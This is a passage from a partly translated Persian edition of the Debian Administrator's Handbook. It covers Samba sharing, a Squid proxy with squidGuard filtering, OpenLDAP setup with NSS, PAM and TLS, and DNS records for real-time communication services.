سرور سامبا به شدت قابل پیکربندی و همه فن حریف است، که می‌توانند کاربردهای بسیار زیادی را منطبق با نیازمندی‌های شبکه و معماری آن داشته باشد. این کتاب تنها به شیوه استفاده از سامبا به عنوان یک سرور منفرد اشاره می‌کند، اما سامبا می‌تواند به عنوان یک کنترل‌کننده دامنه NT4 یا Active Directory یا یک عضو ساده از یک گروه موجود عمل کند (که توسط یک سرور ویندوزی مدیریت می‌شود).

The samba package contains all the necessary manual pages and in /usr/share/doc/samba/examples/ a wealth of commented example files. If you are looking for a more comprehensive documentation, you may check the Samba website.

→ https://www.samba.org/samba/docs/

ابزار احرازهویت با یک سرور ویندوز

مدیرسیستم‌ها با استفاده از Winbind می‌توانند از یک سرور ویندوز به عنوان احرازهویت استفاده کنند. این ابزار به خوبی با PAM و NSS یکپارچه می‌شود. اینکار امکان راه‌اندازی رایانه‌های لینوکس که حساب‌ کاربری آن‌ها به صورت خودکار از دامنه ویندوز می‌آید را ممکن می‌سازد.

More information can be found in the /usr/share/doc/libpam-winbind/examples/pam_winbind/ directory of the libpam-winbind package.

11.5.1.1. پیکربندی با debconf

The package sets up a minimal configuration during the initial installation by plainly copying /usr/share/samba/smb.conf. So you should really run dpkg-reconfigure samba-common to adapt it:

On first installation the only piece of required information is the name of the workgroup where the Samba server will belong (the answer is FALCOTNET in our case).

In case of a package update (from the old stable Debian version) or if the SMB server has already been configured to use a WINS server (wins server), the package also proposes identifying the WINS server from the information provided by the DHCP daemon. The Falcot Corp administrators rejected this option, since they intend to use the Samba server itself as the WINS server.

11.5.1.2. پیکربندی دستی

11.5.1.2.1. تغییرات در smb.conf

نیازمندی‌های فالکوت مستلزم تغییر در فایل پیکربندی /etc/samba/smb.conf است. گزیده زیر خلاصه‌ای از تغییرات اعمال شده در قسمت [global] را شامل می‌شود.

[...] [global] ## Browsing/Identification ### # Change this to the workgroup/NT-domain name your Samba server will part of workgroup = FALCOTNET # Windows Internet Name Serving Support Section: # WINS Support - Tells the NMBD component of Samba to enable its WINS Server wins support = yes [...] ####### Authentication ####### # Server role. Defines in which mode Samba will operate. Possible # values are "standalone server", "member server", "classic primary # domain controller", "classic backup domain controller", "active # directory domain controller". # # Most people will want "standalone server" or "member server". # Running as "active directory domain controller" will require first # running "samba-tool domain provision" to wipe databases and create a # new domain. server role = standalone server obey pam restrictions = yes [...] # "security = user" is always a good idea. This will require a Unix account # in this server for every user accessing the server. security = user [...]

Indicates that Samba should act as a Netbios name server (WINS) for the local network. This option has been removed from the default configuration in Buster and must be added manually if desired.

این مقدار پیشفرض برای پارامتر است؛ با این حال، از آنجا که در مرکز پیکربندی سامبا قرار دارد، درج آن به صورت صریح توصیه می‌شود. هر کاربر قبل از دسترسی به اشتراک ابتدا باید احرازهویت شود.

11.5.1.2.2. افزودن کاربران

هر کاربر سامبا به یک حساب کاربری در سرور نیاز دارد؛ به منظور ثبت کاربران در پایگاه‌داده سامبا، ابتدا باید این حساب‌های کاربری یونیکس تولید شوند. اینکار به صورت نرمال توسط دستور adduser انجام می‌شود.

افزودن یک کاربر موجود به پایگاه‌داده سامبا به سادگی اجرای دستور smbpasswd -a user است؛ این دستور گذرواژه را به صورت تعاملی هنگام اجرای خود می‌پرسد.

یک کاربر می‌تواند با استفاده از دستور smbpasswd -x user حذف گردد. همچنین حساب کاربری سامبا به صورت موقت می‌تواند با دستور smbpasswd -d user غیرفعال یا با دستور smbpasswd -e user فعال‌سازی مجدد گردد.

11.5.2. برنامه سامبا

ویژگی‌های این برنامه در سامبا به رایانه‌های لینوکس اجازه می‌دهد که از اشتراک‌های فایل و چاپگر در ویندوز استفاده کنند. برنامه‌های مورد آن در بسته‌های cifs-utils و smbclient قرار دارند.

11.5.2.1. برنامه smbclient

برنامه smbclient از سرورهای SMB پرس و جو می‌کند. یک گزینه -U user را به منظور اتصال به سرور با یک شناسه خاص می‌پذیرد. smbclient //server/share به شیوه‌ای تعاملی و مشابه با FTP در خط فرمان به فضای اشتراکی یک سرور دسترسی می‌یابد. smbclient -L server تمام اشتراک‌های موجود (و قابل مشاهده) در یک سرور را فهرست می‌کند.

11.5.2.2. اتصال اشتراک‌های ویندوز

دستور mount اجازه اتصال اشتراک‌های ویندوز به ساختار فایل‌سیستم لینوکس را می‌دهد (با کمک mount.cifs که توسط cifs-utils فراهم شده است).

مثال 11.21. اتصال یک اشتراک ویندوز

mount -t cifs //arrakis/shared /shared \ -o credentials=/etc/smb-credentials

فایل /etc/smb-credentials (که نباید توسط کاربران خواندنی باشد) شامل قالب زیر است:

username = user password = password

سایر گزینه‌ها نیز در خط-فرمان می‌توانند قرار گیرند؛ فهرست کامل آن‌ها در صفحه راهنمای mount.cifs(1) قرار دارد. دو گزینه از اهمیت خاصی برخوردار هستند: uid و gid که اجازه استفاده فایل‌های کاربر و گروه مشخص شده در نقطه اتصال را می‌دهند، به این منظور که تمام دسترسی‌ها در اختیار root نباشد.

اتصال یک اشتراک ویندوز می‌توانند در /etc/fstab به صورت زیر پیکربندی شود:

//server/shared /shared cifs credentials=/etc/smb-credentials

قطع اتصال یک اشتراک SMB/CIFS توسط دستور استاندارد umount صورت می‌گیرد:

11.5.2.3. چاپ با استفاده از چاپگر اشتراکی

CUPS یک راهکار زیبا برای عملیات چاپ از لینوکس با استفاده از چاپگر موجود در ویندوز است. زمانی که smbclient نصب شود، CUPS اجازه نصب چاپگرهای اشتراکی ویندوز را به صورت خودکار فراهم می‌کند.

گام‌های مورد نیاز عبارتند از:

رابط پیکربندی CUPS را وارد کنید: http://localhost:631/admin

روی “Add Printer” کلیک کنید.

دستگاه چاپگر را انتخاب کنید، برای نمونه: “Windows Printer via SAMBA”.

نشانی ارتباطی برای چاپگر شبکه را وارد کنید. باید مشابه زیر باشد:

smb://user:password@server/printer.

نامی که به صورت اختصاصی چاپگر را مشخص می‌کند، وارد کنید. سپس توضیحات و مکان چاپگر را وارد کنید. این‌ها رشته‌هایی هستند که برای کمک به کاربران نهایی در استفاده از چاپگر نمایش داده می‌شوند.

تولیدکننده و مدل چاپگر، یا به صورت مستقیم یک فایل توضحیات چاپگر یا PPD را مشخص کنید.

بسیار عالی، چاپگر آماده استفاده است!

11.6. پروکسی HTTP/FTP

یک پروکسی HTTP/FTP به عنوان یک ارتباط میانی برای HTTP و/یا FTP عمل می‌کند که کاربردی دوگانه دارد:

نهان‌سازی: اسناد تازه دانلود شده به صورت محلی ذخیره می‌شوند، که از دانلودهای بعدی جلوگیری می‌کند.

سرور فیلترینگ: اگر استفاده از پروکسی الزامی باشد (و اتصالات خروجی فقط از درگاه پروکسی بتوانند عبور کنند)، سپس پروکسی می‌تواند تشخیص دهد آیا یک درخواست مورد پذیریش واقع شود یا خیر.

شرکت فالکوت، Squid را به عنوان سرور پروکسی انتخاب کرده است.

11.6.1. نصب

The squid[2] Debian package only contains the modular (caching) proxy. Turning it into a filtering server requires installing the additional squidguard package. In addition, squid-cgi provides a querying and administration interface for a Squid proxy.

پیش از نصب، از اینکه سیستم بتواند نام کامل خود را تشخیص دهد باید اطمینان حاصل کرد: hostname -f باید یک نام تمام-عیار (به همراه دامنه) را برگرداند. اگر اینکار را نکند، پس فایل /etc/hosts به منظور درج نام کامل سیستم (برای نمونه، arrakis.falcot.com) باید ویرایش گردد. نام رسمی رایانه باید توسط مدیر شبکه به منظور عدم تداخل با سایر نام‌ها مورد تایید قرار گیرد.

11.6.2. پیکربندی یک حافظه نهان

Enabling the caching server feature is a simple matter of editing the /etc/squid/squid.conf configuration file and allowing machines from the local network to run queries through the proxy. The following example shows the modifications made by the Falcot Corp administrators:

مثال 11.22. The /etc/squid/squid.conf file (excerpts)

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS # include /etc/squid/conf.d/* # Example rule allowing access from your local networks. # Adapt localnet in the ACL section to list your (internal) IP networks # from where browsing should be allowed acl our_networks src 192.168.1.0/24 192.168.2.0/24 http_access allow our_networks http_access allow localhost # And finally deny all other access to this proxy http_access deny all

11.6.3. پیکربندی یک فیلتر

squid itself does not perform the filtering; this action is delegated to squidGuard. The former must then be configured to interact with the latter. This involves adding the following directive to the /etc/squid/squid.conf file:

url_rewrite_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

The /usr/lib/cgi-bin/squidGuard.cgi CGI program also needs to be installed, using /usr/share/doc/squidguard/examples/squidGuard.cgi.gz as a starting point. Required modifications to this script are the $proxy and $proxymaster variables (the name of the proxy and the administrator's contact email, respectively). The $image and $redirect variables should point to existing images representing the rejection of a query.

The filter is enabled with the service squid reload command. However, since the squidguard package does no filtering by default, it is the administrator's task to define the policy. This can be done by creating the /etc/squid/squidGuard.conf file (using /etc/squidguard/squidGuard.conf.default as template if required).

پس از هر تغییر در فایل پیکربندی update-squidguard (یا هر یک از فهرست‌های دامنه یا نشانی‌های آن)، پایگاه‌داده فعلی باید با استفاده از squidGuard بروزرسانی شود. شیوه نگارش فایل پیکربندی در وبسایت رو‌به‌رو آمده است:

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIVE E2guardian (a DansGuardian Fork)

The e2guardian package, a DansGuardian fork, is an alternative to squidguard. This software does not simply handle a blacklist of forbidden URLs, but it can take advantage of the PICS[3] (Platform for Internet Content Selection) to decide whether a page is acceptable by dynamic analysis of its contents.

[2] The squid3 package, providing Squid until Debian Jessie, is now a transitional package and will automatically install squid.

[3] PICS has been superseded by the Protocol for Web Description Resources (POWDER system: https://www.w3.org/2009/08/pics_superseded.html.

11.7. دایرکتوی LDAP

OpenLDAP یکی از پیاده‌سازی‌های پروتکل LDAP است؛ به عبارت دیگر، یک پایگاه‌داده به خصوص برای ذخیره‌سازی دایرکتوری‌ها. در متداول‌ترین کاربرد آن، استفاده از یک سرور LDAP اجازه متمرکزسازی مدیریت حساب‌های کاربری و مجوزهای مربوط به آن‌ها را می‌دهد. علاوه بر این، یک پایگاه‌داده LDAP به سادگی قابل تکثیر است، که امکان برپایی چندین سرور LDAP به صورت متقارن را فراهم می‌آورد. زمانی که شبکه و کاربران آن به سرعت رشد می‌کنند، عملکرد می‌تواند بین چندین سرور مختلف تقسیم شود.

داده LDAP ساخت‌یافته و سلسله‌مراتبی است. ساختار آن با توجه به “schema” تعریف می‌شود که انواع گوناگون اشیا قابل ذخیره‌سازی توسط پایگاه‌داده را مشخص می‌کند، به همراه فهرستی از تمام ویژگی‌های آن‌ها. شیوه نگارش یک شی خاص در این پایگاه‌داده مبتنی بر ساختار آن است، که همین امر باعث پیچیدگی آن می‌شود.

11.7.1. نصب

بسته slapd شامل سرور OpenLDAP است. بسته ldap-utils نیز ابزار خط-فرمان مورد نیاز برای تعامل با سرورهای LDAP را شامل می‌شود.

Installing slapd usually asks only for the administrator's password and the resulting database is unlikely to suit your needs. Fortunately a simple dpkg-reconfigure slapd will let you reconfigure the LDAP database with more details:

پیکربندی سرور OpenLDAP را نادیده گرفته‌اید؟ البته که نه، ما قصد پیکربندی آن را داریم.

نام دامنه DNS: “falcot.com”.

نام سازمانی: “Falcot Corp”.

یک گذرواژه مدیریتی باید وارد شود.

پایگاه‌داده‌ای که از آن استفاده می‌شود: “MDB”.

می‌خواهید در زمان حذف کامل slapd پایگاه‌داده آن نیز حذف گردد؟ نه، دلیلی برای به خطر انداختن داده‌ها در صورت بروز اشتباه وجود ندارد.

پایگاه‌داده قدیمی جابجا شود؟ این پرسش زمانی مطرح می‌شود که یک پایگاه‌داده دیگر موجود باشد. فقط زمانی که می‌خواهید از دوباره شروع کنید به آن پاسخ مثبت بدهید. برای نمونه، اگر پس از نصب اولیه دستور dpkg-reconfigure slapd را اجرا کنید.

بازگشت به مقدمات قالب LDIF

یک فایل LDIF یا LDAP Data Interchange Format یک فایل متنی پرتابل است که محتوای پایگاه‌داده LDAP را توضیح می‌دهد (یا قسمتی از آن را)؛ از این فایل می‌توان برای ورود داده به هر سرور LDAP دیگر استفاده کرد.

یک پایگاه‌داده حداقلی با استفاده از پرس و جوهای زیر تعریف شده است:

$ ldapsearch -x -b dc=falcot,dc=com # extended LDIF # # LDAPv3 # base <dc=falcot,dc=com> with scope subtree # filter: (objectclass=*) # requesting: ALL # # falcot.com dn: dc=falcot,dc=com objectClass: top objectClass: dcObject objectClass: organization o: Falcot Corp dc: falcot # admin, falcot.com dn: cn=admin,dc=falcot,dc=com objectClass: simpleSecurityObject objectClass: organizationalRole cn: admin description: LDAP administrator # search result search: 2 result: 0 Success # numResponses: 3 # numEntries: 2

پرس و جو دو شی را باز می‌گرداند: خود سازمان و کاربر مدیریتی آن.

11.7.2. پرکردن دایرکتوری

از آنجا که یک پایگاه‌داده خالی به هیچ دردی نمی‌خورد، قصد داریم کاربران، گروه‌ها، سرویس‌ها و پایگاه‌داده‌های میزبان را در آن وارد کنیم.

بسته migrationtools شامل چندین اسکریپت برای استخراج داده از دایکتوری‌های استاندارد یونیکس (/etc/passwd، /etc/group، /etc/services و /etc/hosts) می‌شود که با تبدیل آن‌ها، قابلیت ذخیره‌سازی در پایگاه‌داده LDAP را فراهم می‌کند.

زمانی که بسته نصب شد، فایل /etc/migrationtools/migrate_common.ph باید ویرایش شود؛ گزینه‌های IGNORE_UID_BELOW و IGNORE_GID_BELOW باید فعال (با حذف توضیحات قبل از خود) و گزینه DEFAULT_MAIL_DOMAIN/DEFAULT_BASE باید بروزرسانی گردد.

عملیات واقعی مهاجرت توسط دستور migrate_all_online.sh به صورت زیر اجرا می‌شود:

# cd /usr/share/migrationtools # LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

دستور migrate_all_online.sh درباره پایگاه‌داده LDAP که قرار است داده به داخل آن وارد شود چندین پرسش مطرح می‌کند. قسمت جدول 11.1 به بررسی پاسخ‌های مطرح شده در مورد شرکت فالکوت می‌پردازد.

جدول 11.1. پاسخ به پرسش‌های مطرح شده توسط اسکریپت migrate_all_online.sh

پرسش | پاسخ
شرایط نامگذاری X.500 | dc=falcot,dc=com
نام سرور LDAP | localhost
مدیر دامنه | cn=admin,dc=falcot,dc=com
مدرک اعتبارسنجی | گذرواژه مدیریتی
ایجاد DUAConfigProfile | no

ما به صورت عمدی از مهاجرت فایل /etc/aliases امتناع کردیم، چرا که شِمای استاندارد فراهم شده توسط دبیان ساختار مورد نظر این اسکریپت برای توضیح نام‌های مستعار ایمیل را شامل نمی‌شود. به منظور درج این داده در ساختار دایرکتوری، فایل /etc/ldap/schema/misc.schema باید به شِمای استاندارد اضافه گردد.

ابزار مرور یک دایرکتوری LDAP

دستور jxplorer (در بسته‌ای با همین نام) یک ابزار گرافیکی است که اجازه مرور و ویرایش پایگاه‌داده LDAP را فراهم می‌کند. این ابزار جالبی برای مدیرسیستم است، چرا که ساختار سلسله‌مراتبی داده‌های LDAP را به شیوه‌ای خوب در اختیار وی قرار می‌دهد.

به استفاده از گزینه -c در دستور ldapadd دقت کنید؛ این گزینه درخواست می‌کند که در صورت بروز خطا، پردازش متوقف نشود. استفاده از این گزینه مورد نیاز است چرا که هنگام تبدیل فایل /etc/services اغلب چند خطای کوچک رخ می‌دهد که می‌توان از آن‌ها چشم‌پوشی کرد.

11.7.3. مدیریت حساب‌ها با LDAP

اکنون که پایگاه‌داده LDAP شامل اطلاعاتی خوبی است، زمان آن فرا رسیده که از آن‌ها استفاده کنیم. این قسمت به چگونگی پیکربندی یک سیستم لینوکس به شیوه‌ای که دایکتوری‌های سیستمی آن بتوانند از پایگاه‌داده LDAP استفاده کنند، می‌پردازد.

11.7.3.1. پیکربندی NSS

سیستم NSS (یا Name Service Switch،‌قسمت مطالعه بیشتر NSS و پایگاه‌داده‌های سیستم را مشاهده کنید) یک سیستم ماژولار به منظور تعریف یا دریافت اطلاعات برای دایرکتوری‌های سیستمی است. استفاده از LDAP به عنوان منبع داده برای NSS نیازمند نصب بسته libnss-ldap است. در زمان نصب چندین پرسش مطرح می‌شود؛ پاسخ‌ها در قسمت جدول 11.2 بیان شده‌اند.

جدول 11.2. پیکربندی بسته libnss-ldap

پرسش | پاسخ
شناسه منحصربفرد سرور LDAP | ldapi://ldap.falcot.com
نام متمایز پایگاه جستجو | dc=falcot,dc=com
نسخه LDAP مورد استفاده | 3
حساب‌کاربری LDAP برای root | cn=admin,dc=falcot,dc=com
گذرواژه حساب‌کاربری root در LDAP | گذرواژه مدیریتی
Allow LDAP admin account behave like local root? | yes
آیا پایگاه‌داده LDAP نیازمند نام کاربری است؟ | no

The /etc/nsswitch.conf file then needs to be modified, so as to configure NSS to use the freshly-installed ldap module. You can use the example provided in /usr/share/doc/libnss-ldap/examples/nsswitch.ldap or edit your existing configuration.

مثال 11.23. فایل /etc/nsswitch.conf

#ident $Id: nsswitch.ldap,v 2.4 2003/10/02 02:36:25 lukeh Exp $ # # An example file that could be copied over to /etc/nsswitch.conf; it # uses LDAP conjunction with files. # # "hosts:" and "services:" in this file are used only if the # /etc/netconfig file has a "-" for nametoaddr_libs of "inet" transports. # the following lines obviate the "+" entry in /etc/passwd and /etc/group. passwd: files ldap shadow: files ldap group: files ldap # consult DNS first, we will need it to resolve the LDAP host. (If we # can't resolve it, we're in infinite recursion, because libldap calls # gethostbyname(). Careful!) hosts: dns ldap # LDAP is nominally authoritative for the following maps. services: ldap [NOTFOUND=return] files networks: ldap [NOTFOUND=return] files protocols: ldap [NOTFOUND=return] files rpc: ldap [NOTFOUND=return] files ethers: ldap [NOTFOUND=return] files # no support for netmasks, bootparams, publickey yet. netmasks: files bootparams: files publickey: files automount: files # I'm pretty sure nsswitch.conf is consulted directly by sendmail, # here, so we can't do much here. Instead, use bbense's LDAP # rules ofr sendmail. aliases: files sendmailvars: files # Note: there is no support for netgroups on Solaris (yet) netgroup: ldap [NOTFOUND=return] files

افزونه ldap معمولا قبل از دیگران قرار می‌گیرد، پس ابتدا از همه مورد پرس و جو می‌باشد. استثنا این مورد سرویس hosts است چرا که قبل از برقراری ارتباط با سرور LDAP، ابتدا به DNS نیاز است (برای شناسایی ldap.falcot.com). بدون این استثنا، یک پرس و جو مبتنی بر نام، از سرور LDAP اطلاعات خود را می‌پرسد؛ اینکار منجر به بروز خطا در سرور LDAP شده که آن را در یک حلقه بینهایت قرار می‌دهد.

اگر نیاز به پرس و جو از سرور LDAP برای اینکار باشد (و فایل‌های محلی مورد استفاده افزونه files نادیده گرفته شوند)، سرویس‌ها می‌توانند با شیوه نگارش زیر پیکربندی گردند:

service: ldap [NOTFOUND=return] files.

اگر گزینه درخواست‌شده در پایگاه‌داده LDAP موجود نباشد، یک پاسخ “not existing” باز گردانده می‌شود حتی اگر گزینه مورد نظر در یکی از فایل‌های محلی موجود باشد؛ تنها زمانی از این فایل‌ها استفاده می‌شود که سرویس LDAP متوقف شده باشد.

11.7.3.2. پیکربندی PAM

این قسمت به بررسی پیکربندی از PAM (پشت صحنه /etc/environment و /etc/default/locale را مشاهده کنید) می‌پردازد که به برنامه‌ها اجازه احرازهویت توسط پایگاه‌داده LDAP را می‌دهد.

احتیاط احرازهویت شکسته‌شده

تغییر پیکربندی استاندارد PAM که توسط بسیاری برنامه‌ها استفاده می‌شود کاری خطرناک است. یک اشتباه کافی است تا فرآیند احرازهویت شکست بخورد، که از ثبت گزارش‌های آن از جلوگیری می‌کند. بازنگه‌داشتن یک پوسته root عمل احتیاطی خوبی است. در صورت بروز خطا در پیکربندی، به راحتی می‌توانند برطرف شوند و سرویس مورد نظر نیز با حداقل تلاش لازم راه‌اندازی مجدد شود.

افزونه LDAP برای PAM توسط بسته libpam-ldap فراهم می‌شود. در زمان نصب این بسته پرسش‌های بسیار مشابهی به آنچه در libpam-ldap مطرح شد پرسیده می‌شود؛ حتی برخی پارامترهای پیکربندی نیز (از جمله نشانی سرور LDAP) با بسته libpam-ldap مشترک هستند. پاسخ‌ها در قسمت جدول 11.3 توضیح داده شده‌اند.

جدول 11.3. پیکربندی libpam-ldap

پرسش | پاسخ
حساب مدیر LDAP مجاز است که مانند root رفتار کند؟ | بله. اینکار باعث می‌شود بتواند از دستور passwd برای تغییر گذرواژه‌های ذخیره‌شده در پایگاه‌داده LDAP استفاده شود.
پایگاه‌داده LDAP نیازمند اطلاعات ورود باشد؟ | no
حساب‌کاربری LDAP برای root | cn=admin,dc=falcot,dc=com
گذرواژه حساب‌کاربری root در LDAP | گذرواژه مدیریتی پایگاه‌داده LDAP
الگوریتم رمزنگاری محلی برای استفاده گذرواژه‌ها | crypt

نصب libpam-ldap به صورت خودکار با پیکربندی پیشفرض PAM که در فایل‌های /etc/pam.d/common-auth، /etc/pam.d/common-password و /etc/pam.d/common-account تعریف شده است، منطبق می‌شود. این مکانیزم از ابزار انحصاری pam-auth-update استفاده می‌کند (که توسط بسته libpam-runtime فراهم می‌شود). مدیرسیستم همچنین می‌تواند از این ابزار برای فعال‌سازی یا غیرفعال‌سازی افزونه‌های PAM استفاده کند.

11.7.3.3. ایمن‌سازی تبادل داده LDAP

پروتکل LDAP، به صورت پیشفرض، داده‌ها را در شبکه در حالت متنی جابجا می‌کند؛ این امر شامل گذرواژه‌ها (رمزنگاری‌شده) می‌شود. از آنجا که این گذرواژه‌ها می‌توانند از طریق شبکه استخراج شوند، نسبت به حملات dictionary-type آسیب‌پذیر هستند. این مشکل با فعال‌سازی یک لایه رمزنگاری اضافی برطرف می‌شود؛ فعال‌سازی این لایه موضوع بحث این قسمت است.

11.7.3.3.1. پیکربندی سرور

The first step is to create a key pair (comprising a public key and a private key) for the LDAP server. The Falcot administrators reuse easy-rsa to generate it (see قسمت 10.2.2, “زیرساخت کلید عمومی: easy-rsa” ). Running ./easyrsa build-server-full ldap.falcot.com nopass will ask you about the “common name”. The answer to that question must be the fully-qualified hostname for the LDAP server; in our case, ldap.falcot.com.

This command creates a certificate in the pki/issued/ldap.falcot.com.crt file; the corresponding private key is stored in pki/private/ldap.falcot.com.key.

اکنون این کلیدها باید در مکان استاندارد خود نصب شوند و باید اطمینان یابیم که کلید خصوصی توسط سرور LDAP که تحت هویت کاربر openldap اجرا می‌شود، قابل خواندن باشد.

# adduser openldap ssl-cert Adding user `openldap' to group `ssl-cert' ... Adding user openldap to group ssl-cert Done. # mv pki/private/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key # chown root:ssl-cert /etc/ssl/private/ldap.falcot.com.key # chmod 0640 /etc/ssl/private/ldap.falcot.com.key # ./eassyrsa gen-dh Note: using Easy-RSA configuration from: ./vars Using SSL: openssl OpenSSL 1.1.1c 28 May 2019 Generating DH parameters, 2048 bit long safe prime, generator 2 This is going to take a long time ........................................................+..........................................................................+...............................................................................+............ [...] DH parameters of size 2048 created at /home/roland/pki/dh.pem # mv pki/dh.pem /etc/ssl/certs/ldap.falcot.com.pem

همچنین نیاز است که فرآیند پس‌زمینه slapd نیز از این کلیدها برای رمزنگاری استفاده کند. پیکربندی سرور LDAP به صورت خودکار مدیریت می‌شود: پیکربندی می‌تواند با عملیات ساده LDAP روی سلسله‌مراتب شی cn=config بروزرسانی شود تا سرور در زمان واقعی و به صورت پایدار، اقدام به بروزرسانی /etc/ldap/slapd.d کند. از این رو، ldapmodify ابزار مناسب بروزرسانی پیکربندی به حساب می‌آید:

مثال 11.24. پیکربندی slapd برای رمزنگاری

# cat >ssl.ldif <<END dn: cn=config changetype: modify add: olcTLSCertificateFile olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem - add: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key - END # ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "cn=config"

ابزار استفاده از ldapvi برای ویرایش یک دایرکتوری LDAP

با استفاده از ldapvi می‌توانید خروجی LDIF یک دایرکتوری LDAP را مشاهده کرده، برخی تغییرات را در ویرایشگر متن ایجاد کنید و به ابزار اجازه دهید که عملیات متناظر LDAP را اجرا کند.

بنابراین ابزار مناسبی به منظور بروزرسانی پیکربندی سرور LDAP با استفاده از سلسله‌مراتب cn=config و ویرایش آن به حساب می‌آید.

# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

آخرین گام برای فعال‌سازی رمزنگاری تغییر متغیر SLAPD_SERVICES در فایل /etc/default/slapd است. ما به صورت امنی از آن استفاده کرده و تمام تبادل داده‌های ناامن LDAP را غیرفعال کرده‌ایم.

مثال 11.25. فایل /etc/default/slapd

# Default location of the slapd.conf file or slapd.d cn=config directory. If # empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to # /etc/ldap/slapd.conf). SLAPD_CONF= # System account to run the slapd server under. If empty the server # will run as root. SLAPD_USER="openldap" # System group to run the slapd server under. If empty the server will # run in the primary group of its user. SLAPD_GROUP="openldap" # Path to the pid file of the slapd server. If not set the init.d script # will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.conf by # default) SLAPD_PIDFILE= # slapd normally serves ldap only on all TCP-ports 389. slapd can also # service requests on TCP-port 636 (ldaps) and requests via unix # sockets. # Example usage: # SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///" SLAPD_SERVICES="ldaps:/// ldapi:///" # If SLAPD_NO_START is set, the init script will not start or restart # slapd (but stop will still work). Uncomment this if you are # starting slapd via some other means or if you don't want slapd normally # started at boot. #SLAPD_NO_START=1 # If SLAPD_SENTINEL_FILE is set to path to a file and that file exists, # the init script will not start or restart slapd (but stop will still # work). Use this for temporarily disabling startup of slapd (when doing # maintenance, for example, or through a configuration management system) # when you don't want to edit a configuration file. SLAPD_SENTINEL_FILE=/etc/ldap/noslapd # For Kerberos authentication (via SASL), slapd by default uses the system # keytab file (/etc/krb5.keytab). To use a different keytab file, # uncomment this line and change the path. #export KRB5_KTNAME=/etc/krb5.keytab # Additional options to pass to slapd SLAPD_OPTIONS=""

11.7.3.3.2. پیکربندی برنامه

در سمت برنامه، پیکربندی افزونه‌های libpam-ldap و libnss-ldap نیاز به تغییر دارند تا از نشانی ldaps:// استفاده کنند.

برنامه‌های LDAP همچنین باید بتوانند سرور را احرازهویت کنند. در یک زیرساخت کلید X.509، گواهینامه‌های عمومی توسط کلید یکی از صادرکنندگان گواهینامه (CA) با easy-rsa امضا می‌شوند. مدیرسیستم‌های فالکوت CA خود را ایجاد کرده‌اند و نیاز دارند که سیستم را مبتنی بر آن پیکربندی کنند. اینکار با قرار دادن گواهینامه CA در /usr/local/share/ca-certificates و اجرای update-ca-certificates انجام می‌شود.

# cp pki/ca.crt /usr/local/share/ca-certificates/falcot.crt # update-ca-certificates Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done. Running hooks in /etc/ca-certificates/update.d.... Adding debian:falcot.pem done. done.

در آخر نیز، URI و DN پیشفرض LDAP که توسط بسیاری ابزارهای خط-فرمان استفاده می‌شوند می‌توانند در /etc/ldap/ldap.conf تغییر کنند. اینکار از نوشتن‌های اضافی جلوگیری بعمل می‌آورد.

مثال 11.26. فایل /etc/ldap/ldap.conf

# # LDAP Defaults # # See ldap.conf(5) for details # This file should be world readable but not world writable. BASE dc=falcot,dc=com URI ldaps://ldap.falcot.com #SIZELIMIT 12 #TIMELIMIT 15 #DEREF never # TLS certificates (needed for GnuTLS) TLS_CACERT /etc/ssl/certs/ca-certificates.crt

11.8. سرویس‌های ارتباطی بلادرنگ

Real-Time Communication (RTC) services include voice, video/webcam, instant messaging (IM) and desktop sharing. This chapter gives a brief introduction to three of the services required to operate RTC, including a TURN server, SIP server and XMPP server. Comprehensive details of how to plan, install and manage these services are available in the Real-Time Communications Quick Start Guide which includes examples specific to Debian.

→ https://rtcquickstart.org

هر دو سرویس SIP و ‌XMPP می‌توانند عملکرد یکسانی را فراهم کنند. SIP بیشتر برای صوت و تصویر شناخته شده است در صورتی که XMPP از قبل برای پروتکل IM استفاده می‌شد. در حقیقت، هر دو می‌توانند برای هر کدام از این اهداف استفاده شوند. برای استفاده حداکثری از گزینه‌های ارتباطی، توصیه می‌شود که هر دو به صورت موازی اجرا شوند.

These services rely on X.509 certificates both for authentication and confidentiality purposes. See قسمت 10.2, “X.509 certificates” for more information.

11.8.1. تنظیمات DNS برای سرویس‌های RTC

سرویس‌های RTC نیازمند رکوردهای SRV و NAPTR از DNS هستند. یک پیکربندی نمونه که می‌تواند در ناحیه مرتبط با falcot.com قرار بگیرد عبارت است از:

; the server where everything will run server1 IN A 198.51.100.19 server1 IN AAAA 2001:DB8:1000:2000::19 ; IPv4 only for TURN for now, some clients are buggy with IPv6 turn-server IN A 198.51.100.19 ; IPv4 and IPv6 addresses for SIP sip-proxy IN A 198.51.100.19 sip-proxy IN AAAA 2001:DB8:1000:2000::19 ; IPv4 and IPv6 addresses for XMPP xmpp-gw IN A 198.51.100.19 xmpp-gw IN AAAA 2001:DB8:1000:2000::19 ; DNS SRV and NAPTR for STUN / TURN _stun._udp IN SRV 0 1 3467 turn-server.falcot.com. _turn._udp IN SRV 0 1 3467 turn-server.falcot.com. @ IN NAPTR 10 0 "s" "RELAY:turn.udp" "" _turn._udp.falcot.com. ; DNS SRV and NAPTR records for SIP _sips._tcp IN SRV 0 1 5061 sip-proxy.falcot.com. @ IN NAPTR 10 0 "s" "SIPS+D2T" "" _sips._tcp.falcot.com. ; DNS SRV records for XMPP Server and Client modes: _xmpp-client._tcp IN SRV 5 0 5222 xmpp-gw.falcot.com. _xmpp-server._tcp IN SRV 5 0 5269 xmpp-gw.falcot.com.

11.8.2. سرور TURN

